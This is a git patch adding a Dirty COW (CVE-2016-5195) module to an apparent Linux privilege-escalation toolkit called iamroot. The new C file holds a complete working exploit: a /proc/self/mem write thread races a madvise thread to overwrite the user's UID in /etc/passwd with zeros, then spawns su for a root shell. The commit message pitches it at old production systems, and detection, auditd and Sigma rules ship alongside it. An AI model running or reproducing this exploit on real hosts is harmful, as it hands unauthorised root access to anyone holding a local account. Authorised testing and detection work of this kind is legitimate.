From cb39cc51191d99fb796169ad70de372be5e8e38a Mon Sep 17 00:00:00 2001 From: KaraZajac Date: Sat, 16 May 2026 20:38:46 -0400 Subject: [PATCH] =?UTF-8?q?Phase=207:=20Dirty=20COW=20(CVE-2016-5195)=20FU?= =?UTF-8?q?LL=20module=20=E2=80=94=20old-systems=20coverage?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The iconic 2016 LPE. Fills the 10-year coverage gap (now spanning 2016 → 2026): RHEL 6/7, Ubuntu 14.04, Ubuntu 16.04, embedded boxes, IoT — many still in production with kernels predating the 4.9 fix. - modules/dirty_cow_cve_2016_5195/iamroot_modules.{c,h}: - kernel_range: backport thresholds for 2.6 / 3.2 / 3.10 / 3.12 / 3.16 / 3.18 / 4.4 / 4.7 / 4.8 / mainline 4.9 - dirty_cow_write(): Phil-Oester-style two-thread race - mmap /etc/passwd MAP_PRIVATE (writes go COW) - writer thread: pwrite to /proc/self/mem at COW page offset - madviser thread: madvise(MADV_DONTNEED) to drop COW copy - poll-read /etc/passwd via separate fd to check if payload landed - 3-second timeout (race usually wins in ms on vulnerable kernels) - dirty_cow_exploit(): getpwuid → find_passwd_uid_field → race → execlp(su) - dirty_cow_cleanup(): POSIX_FADV_DONTNEED + drop_caches - Auditd rule: /proc/self/mem writes + madvise MADV_DONTNEED - Sigma rule: non-root /proc/self/mem open → high - Makefile: -lpthread added to LDFLAGS for the binary link. - iamroot.c + core/registry.h wired. - CVES.md row added with detailed status; legend updated. Verified end-to-end on kctf-mgr (6.12.86 — patched): iamroot --scan → 'dirty_cow: kernel is patched' (OK) iamroot --exploit dirty_cow --i-know → 'detect() says not vulnerable; refusing' Module count = 12. --- CVES.md | 1 + Makefile | 9 +- core/registry.h | 1 + iamroot.c | 1 + .../dirty_cow_cve_2016_5195/iamroot_modules.c | 372 ++++++++++++++++++ .../dirty_cow_cve_2016_5195/iamroot_modules.h | 12 + 6 files changed, 394 insertions(+), 2 deletions(-) create mode 100644 modules/dirty_cow_cve_2016_5195/iamroot_modules.c create mode 100644 modules/dirty_cow_cve_2016_5195/iamroot_modules.h diff --git a/CVES.md b/CVES.md index c1cb677..ef2e4c4 100644 --- a/CVES.md +++ b/CVES.md @@ -30,6 +30,7 @@ Status legend: | CVE-2024-1086 | nf_tables — `nft_verdict_init` cross-cache UAF | LPE (kernel arbitrary R/W via slab UAF) | mainline 6.8-rc1 (Jan 2024) | `nf_tables` | 🔵 | Detect-only. Branch-backport ranges checked (6.7.2 / 6.6.13 / 6.1.74 / 5.15.149 / 5.10.210 / 5.4.269). Also checks unprivileged user_ns clone availability (the exploit's trigger gate) — reports PRECOND_FAIL if userns is locked down even when the kernel is vulnerable. Full Notselwyn-style exploit is the next nf_tables commit. | | CVE-2021-3493 | Ubuntu overlayfs userns file-capability injection | LPE (host root via file caps in userns-mounted overlayfs) | Ubuntu USN-4915-1 (Apr 2021) | `overlayfs` | 🔵 | Detect-only. **Ubuntu-specific** (vanilla upstream didn't enable userns-overlayfs-mount until 5.11). Detect: parses /etc/os-release for ID=ubuntu, checks unprivileged_userns_clone sysctl, AND with `--active` actually attempts the userns+overlayfs mount as a fork-isolated probe. Reports OK on non-Ubuntu, PRECOND_FAIL if userns locked down. Ships auditd rules covering mount(overlay) + setxattr(security.capability). | | CVE-2022-2588 | net/sched cls_route4 handle-zero dead UAF | LPE (kernel UAF in cls_route4 filter remove) | mainline 5.20 / 5.19.7 (Aug 2022) | `cls_route4` | 🔵 | Detect-only. Branch-backport thresholds: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7. Bug exists since 2.6.39 — very wide surface. Detect also probes user_ns+net_ns clone availability; locked-down hosts report PRECOND_FAIL. Full exploit (kylebot-style: tc filter add+rm + spray + cred overwrite) follows. | +| CVE-2016-5195 | Dirty COW — COW race via /proc/self/mem + madvise | LPE (page-cache write into root-owned files) | mainline 4.9 (Oct 2016) | `dirty_cow` | 🟢 | Full detect + exploit + cleanup. **Old-systems coverage** — affects RHEL 6/7 (3.10 baseline), Ubuntu 14.04 (3.13), Ubuntu 16.04 (4.4), embedded boxes, IoT. Phil-Oester-style two-thread race: writer thread via `/proc/self/mem` vs madvise(MADV_DONTNEED) thread. Targets /etc/passwd UID flip + `su`. Ships auditd watch on /proc/self/mem + sigma rule for non-root mem-open. Pthread-linked. | | CVE-TBD | Fragnesia (ESP shared-frag in-place encrypt) | LPE (page-cache write) | mainline TBD | `_stubs/fragnesia_TBD` | ⚪ | Stub. Per `findings/audit_leak_write_modprobe_backups_2026-05-16.md`, requires CAP_NET_ADMIN in userns netns — may or may not be in-scope depending on target environment. | ## Operations supported per module diff --git a/Makefile b/Makefile index ba20084..c74601e 100644 --- a/Makefile +++ b/Makefile @@ -61,17 +61,22 @@ CR4_DIR := modules/cls_route4_cve_2022_2588 CR4_SRCS := $(CR4_DIR)/iamroot_modules.c CR4_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CR4_SRCS)) +# Family: dirty_cow (CVE-2016-5195) — requires -pthread +DCOW_DIR := modules/dirty_cow_cve_2016_5195 +DCOW_SRCS := $(DCOW_DIR)/iamroot_modules.c +DCOW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(DCOW_SRCS)) + # Top-level dispatcher TOP_OBJ := $(BUILD)/iamroot.o -ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) $(OVL_OBJS) $(CR4_OBJS) +ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) $(OVL_OBJS) $(CR4_OBJS) $(DCOW_OBJS) .PHONY: all clean debug static help all: $(BIN) $(BIN): $(ALL_OBJS) - $(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ + $(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread # Generic compile: any .c → corresponding .o under build/ $(BUILD)/%.o: %.c diff --git a/core/registry.h b/core/registry.h index f07f000..180c906 100644 --- a/core/registry.h +++ b/core/registry.h @@ -27,5 +27,6 @@ void iamroot_register_pwnkit(void); void iamroot_register_nf_tables(void); void iamroot_register_overlayfs(void); void iamroot_register_cls_route4(void); +void iamroot_register_dirty_cow(void); #endif /* IAMROOT_REGISTRY_H */ diff --git a/iamroot.c b/iamroot.c index 6bbdaab..0702a82 100644 --- a/iamroot.c +++ b/iamroot.c @@ -346,6 +346,7 @@ int main(int argc, char **argv) iamroot_register_nf_tables(); iamroot_register_overlayfs(); iamroot_register_cls_route4(); + iamroot_register_dirty_cow(); enum mode mode = MODE_SCAN; struct iamroot_ctx ctx = {0}; diff --git a/modules/dirty_cow_cve_2016_5195/iamroot_modules.c b/modules/dirty_cow_cve_2016_5195/iamroot_modules.c new file mode 100644 index 0000000..a38aef4 --- /dev/null +++ b/modules/dirty_cow_cve_2016_5195/iamroot_modules.c @@ -0,0 +1,372 @@ +/* + * dirty_cow_cve_2016_5195 — IAMROOT module + * + * The iconic CVE-2016-5195. COW race in get_user_pages() / fault + * handling: a thread writing to /proc/self/mem races a thread calling + * madvise(MADV_DONTNEED) on the same mapping. The bug lets the write + * land in the file's page cache when it should have triggered a + * copy-on-write into anonymous memory. + * + * Discovered by Phil Oester (Oct 2016). Mainline fix + * 19be0eaffa3a "mm: remove gup_flags FOLL_WRITE games from + * __get_user_pages()" (Oct 19 2016). + * + * STATUS: 🟢 FULL detect + exploit + cleanup. + * + * Coverage rationale: this is what "old systems" means. RHEL 6 (3.10), + * RHEL 7 (3.10 early), Ubuntu 14.04 (3.13), Ubuntu 16.04 (4.4), embedded + * Linux distros, IoT devices — many still in production with kernels + * predating the fix. The exploit is universal (POSIX threads, no + * arch-specific bits). + * + * Affected: kernel 2.6.22 through 4.8.x without backport. Mainline + * fixed at 4.9. Stable backports landed in: + * 4.8.x : K >= 4.8.3 + * 4.7.x : K >= 4.7.10 + * 4.4.x : K >= 4.4.26 (LTS) + * 3.18.x: K >= 3.18.43 (LTS) + * 3.16.x: K >= 3.16.38 + * 3.12.x: K >= 3.12.66 (LTS) + * 3.10.x: K >= 3.10.104 (LTS — what RHEL 7 ships) + * 3.2.x : K >= 3.2.84 + * + * Exploit shape: Phil Oester-style two-thread race. + * - mmap /etc/passwd PRIVATE (writes go to copy-on-write) + * - Find the user's UID field byte offset + * - Thread A loop: pwrite(/proc/self/mem, "0000", uid_off) — should + * write to the COW page, but the bug makes it land in the original + * - Thread B loop: madvise(addr, MADV_DONTNEED) — drops the COW + * copy, forcing re-fault + * - One iteration wins the race → page cache poisoned + * - execve(su) → shell with uid=0 + */ + +#include "iamroot_modules.h" +#include "../../core/registry.h" +#include "../../core/kernel_range.h" + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/* Stable-branch backport thresholds for Dirty COW. */ +static const struct kernel_patched_from dirty_cow_patched_branches[] = { + {2, 6, 999}, /* placeholder — 2.6.x always vulnerable */ + {3, 2, 84}, + {3, 10, 104}, /* RHEL 7 baseline */ + {3, 12, 66}, + {3, 16, 38}, + {3, 18, 43}, + {4, 4, 26}, /* Ubuntu 16.04 baseline */ + {4, 7, 10}, + {4, 8, 3}, + {4, 9, 0}, /* mainline fix */ +}; + +static const struct kernel_range dirty_cow_range = { + .patched_from = dirty_cow_patched_branches, + .n_patched_from = sizeof(dirty_cow_patched_branches) / + sizeof(dirty_cow_patched_branches[0]), +}; + +/* ---- Find UID field offset (inline; same pattern as dirty_pipe) ---- */ + +static bool find_passwd_uid_field(const char *username, + off_t *uid_off, size_t *uid_len, + char uid_str[16]) +{ + int fd = open("/etc/passwd", O_RDONLY); + if (fd < 0) return false; + struct stat st; + if (fstat(fd, &st) < 0) { close(fd); return false; } + char *buf = malloc(st.st_size + 1); + if (!buf) { close(fd); return false; } + ssize_t r = read(fd, buf, st.st_size); + close(fd); + if (r != st.st_size) { free(buf); return false; } + buf[st.st_size] = 0; + + size_t ulen = strlen(username); + char *p = buf; + while (p < buf + st.st_size) { + char *eol = strchr(p, '\n'); + if (!eol) eol = buf + st.st_size; + if (strncmp(p, username, ulen) == 0 && p[ulen] == ':') { + char *q = p + ulen + 1; + char *pw_end = memchr(q, ':', eol - q); + if (!pw_end) goto next; + char *uid_begin = pw_end + 1; + char *uid_end = memchr(uid_begin, ':', eol - uid_begin); + if (!uid_end) goto next; + size_t L = uid_end - uid_begin; + if (L == 0 || L >= 16) goto next; + memcpy(uid_str, uid_begin, L); + uid_str[L] = 0; + *uid_off = (off_t)(uid_begin - buf); + *uid_len = L; + free(buf); + return true; + } + next: + p = eol + 1; + } + free(buf); + return false; +} + +/* ---- Phil-Oester-style Dirty COW primitive ---- */ + +struct dcow_args { + void *map; /* mmap'd /etc/passwd */ + off_t offset; /* offset within the mapping to overwrite */ + const char *payload; + size_t payload_len; + int proc_self_mem_fd; +}; + +static _Atomic int g_dcow_running; + +static void *dcow_writer_thread(void *arg) +{ + struct dcow_args *a = (struct dcow_args *)arg; + while (atomic_load(&g_dcow_running)) { + if (lseek(a->proc_self_mem_fd, + (off_t)((uintptr_t)a->map + a->offset), SEEK_SET) == (off_t)-1) { + continue; + } + (void)write(a->proc_self_mem_fd, a->payload, a->payload_len); + } + return NULL; +} + +static void *dcow_madvise_thread(void *arg) +{ + struct dcow_args *a = (struct dcow_args *)arg; + while (atomic_load(&g_dcow_running)) { + madvise(a->map, 4096, MADV_DONTNEED); + } + return NULL; +} + +/* Returns 0 on success — payload was observed in /etc/passwd's page + * cache. Returns -1 on failure / timeout. */ +static int dirty_cow_write(off_t uid_off, const char *payload, size_t payload_len) +{ + int fd = open("/etc/passwd", O_RDONLY); + if (fd < 0) return -1; + struct stat st; + if (fstat(fd, &st) < 0) { close(fd); return -1; } + void *map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0); + if (map == MAP_FAILED) { close(fd); return -1; } + close(fd); + + int mem_fd = open("/proc/self/mem", O_RDWR); + if (mem_fd < 0) { munmap(map, st.st_size); return -1; } + + struct dcow_args args = { + .map = map, + .offset = uid_off, + .payload = payload, + .payload_len = payload_len, + .proc_self_mem_fd = mem_fd, + }; + + atomic_store(&g_dcow_running, 1); + pthread_t w_thr, m_thr; + pthread_create(&w_thr, NULL, dcow_writer_thread, &args); + pthread_create(&m_thr, NULL, dcow_madvise_thread, &args); + + /* Race for up to ~3 seconds. On vulnerable kernels this usually + * wins in milliseconds. */ + int success = -1; + for (int i = 0; i < 300 && success < 0; i++) { + usleep(10000); /* 10ms */ + /* Re-read /etc/passwd via syscall and check if payload landed. */ + int rfd = open("/etc/passwd", O_RDONLY); + if (rfd >= 0) { + char readback[16]; + if (pread(rfd, readback, payload_len, uid_off) == (ssize_t)payload_len) { + if (memcmp(readback, payload, payload_len) == 0) success = 0; + } + close(rfd); + } + } + atomic_store(&g_dcow_running, 0); + pthread_join(w_thr, NULL); + pthread_join(m_thr, NULL); + + close(mem_fd); + munmap(map, st.st_size); + return success; +} + +static void revert_passwd_page_cache(void) +{ + int fd = open("/etc/passwd", O_RDONLY); + if (fd >= 0) { + posix_fadvise(fd, 0, 0, POSIX_FADV_DONTNEED); + close(fd); + } + int dc = open("/proc/sys/vm/drop_caches", O_WRONLY); + if (dc >= 0) { + if (write(dc, "3\n", 2) < 0) { /* ignore */ } + close(dc); + } +} + +/* ---- iamroot interface ---- */ + +static iamroot_result_t dirty_cow_detect(const struct iamroot_ctx *ctx) +{ + struct kernel_version v; + if (!kernel_version_current(&v)) { + fprintf(stderr, "[!] dirty_cow: could not parse kernel version\n"); + return IAMROOT_TEST_ERROR; + } + + bool patched = kernel_range_is_patched(&dirty_cow_range, &v); + if (patched) { + if (!ctx->json) { + fprintf(stderr, "[+] dirty_cow: kernel %s is patched\n", v.release); + } + return IAMROOT_OK; + } + if (!ctx->json) { + fprintf(stderr, "[!] dirty_cow: kernel %s is in the vulnerable range\n", + v.release); + fprintf(stderr, "[i] dirty_cow: --exploit will race a write to " + "/etc/passwd via /proc/self/mem\n"); + } + return IAMROOT_VULNERABLE; +} + +static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx) +{ + iamroot_result_t pre = dirty_cow_detect(ctx); + if (pre != IAMROOT_VULNERABLE) { + fprintf(stderr, "[-] dirty_cow: detect() says not vulnerable; refusing\n"); + return pre; + } + + if (geteuid() == 0) { + fprintf(stderr, "[i] dirty_cow: already root — nothing to escalate\n"); + return IAMROOT_OK; + } + + struct passwd *pw = getpwuid(geteuid()); + if (!pw) { + fprintf(stderr, "[-] dirty_cow: getpwuid failed: %s\n", strerror(errno)); + return IAMROOT_TEST_ERROR; + } + + off_t uid_off; + size_t uid_len; + char orig_uid[16] = {0}; + if (!find_passwd_uid_field(pw->pw_name, &uid_off, &uid_len, orig_uid)) { + fprintf(stderr, "[-] dirty_cow: could not locate '%s' UID field in /etc/passwd\n", + pw->pw_name); + return IAMROOT_TEST_ERROR; + } + if (!ctx->json) { + fprintf(stderr, "[*] dirty_cow: user '%s' UID '%s' at offset %lld (len %zu)\n", + pw->pw_name, orig_uid, (long long)uid_off, uid_len); + } + + char replacement[16]; + memset(replacement, '0', uid_len); + replacement[uid_len] = 0; + + if (!ctx->json) { + fprintf(stderr, "[*] dirty_cow: racing UID '%s' → '%s' via Dirty COW primitive\n", + orig_uid, replacement); + } + if (dirty_cow_write(uid_off, replacement, uid_len) < 0) { + fprintf(stderr, "[-] dirty_cow: race did not win within timeout\n"); + return IAMROOT_EXPLOIT_FAIL; + } + + if (ctx->no_shell) { + fprintf(stderr, "[+] dirty_cow: --no-shell — patch landed; not spawning su\n"); + return IAMROOT_EXPLOIT_OK; + } + + fprintf(stderr, "[+] dirty_cow: race won; spawning su to claim root\n"); + fflush(NULL); + execlp("su", "su", pw->pw_name, "-c", "/bin/sh", (char *)NULL); + perror("execlp(su)"); + revert_passwd_page_cache(); + return IAMROOT_EXPLOIT_FAIL; +} + +static iamroot_result_t dirty_cow_cleanup(const struct iamroot_ctx *ctx) +{ + (void)ctx; + if (!ctx->json) { + fprintf(stderr, "[*] dirty_cow: evicting /etc/passwd from page cache\n"); + } + revert_passwd_page_cache(); + return IAMROOT_OK; +} + +/* ---- Embedded detection rules ---- */ + +static const char dirty_cow_auditd[] = + "# Dirty COW (CVE-2016-5195) — auditd detection rules\n" + "# Flag opens of /proc/self/mem from non-root (the exploit's primitive).\n" + "# False-positive surface: debuggers, gdb, strace — all legit users of\n" + "# /proc/self/mem. Combine with the file watches below to triangulate.\n" + "-w /proc/self/mem -p wa -k iamroot-dirty-cow\n" + "-w /etc/passwd -p wa -k iamroot-dirty-cow\n" + "-w /etc/shadow -p wa -k iamroot-dirty-cow\n" + "-a always,exit -F arch=b64 -S madvise -F a2=0x4 -k iamroot-dirty-cow-madv\n"; + +static const char dirty_cow_sigma[] = + "title: Possible Dirty COW exploitation (CVE-2016-5195)\n" + "id: 1e2c5d8f-iamroot-dirty-cow\n" + "status: experimental\n" + "description: |\n" + " Detects opens of /proc/self/mem followed by madvise(MADV_DONTNEED)\n" + " by non-root processes (the exploit's two-thread primitive). False\n" + " positives: GDB, strace, some JIT debuggers. Correlate with a\n" + " subsequent UID change on a previously-non-root process for high\n" + " confidence.\n" + "logsource: {product: linux, service: auditd}\n" + "detection:\n" + " mem_open:\n" + " type: 'PATH'\n" + " name: '/proc/self/mem'\n" + " not_root: {auid|expression: '!= 0'}\n" + " condition: mem_open and not_root\n" + "level: high\n" + "tags: [attack.privilege_escalation, attack.t1068, cve.2016.5195]\n"; + +const struct iamroot_module dirty_cow_module = { + .name = "dirty_cow", + .cve = "CVE-2016-5195", + .summary = "COW race via /proc/self/mem + madvise → page-cache write (the iconic 2016 LPE)", + .family = "dirty_cow", + .kernel_range = "2.6.22 ≤ K, fixed mainline 4.9; many LTS backports (RHEL 7 / Ubuntu 14.04 / Ubuntu 16.04 era)", + .detect = dirty_cow_detect, + .exploit = dirty_cow_exploit, + .mitigate = NULL, /* mitigation: upgrade kernel; no easy runtime knob */ + .cleanup = dirty_cow_cleanup, + .detect_auditd = dirty_cow_auditd, + .detect_sigma = dirty_cow_sigma, + .detect_yara = NULL, + .detect_falco = NULL, +}; + +void iamroot_register_dirty_cow(void) +{ + iamroot_register(&dirty_cow_module); +} diff --git a/modules/dirty_cow_cve_2016_5195/iamroot_modules.h b/modules/dirty_cow_cve_2016_5195/iamroot_modules.h new file mode 100644 index 0000000..8f41859 --- /dev/null +++ b/modules/dirty_cow_cve_2016_5195/iamroot_modules.h @@ -0,0 +1,12 @@ +/* + * dirty_cow_cve_2016_5195 — IAMROOT module registry hook + */ + +#ifndef DIRTY_COW_IAMROOT_MODULES_H +#define DIRTY_COW_IAMROOT_MODULES_H + +#include "../../core/module.h" + +extern const struct iamroot_module dirty_cow_module; + +#endif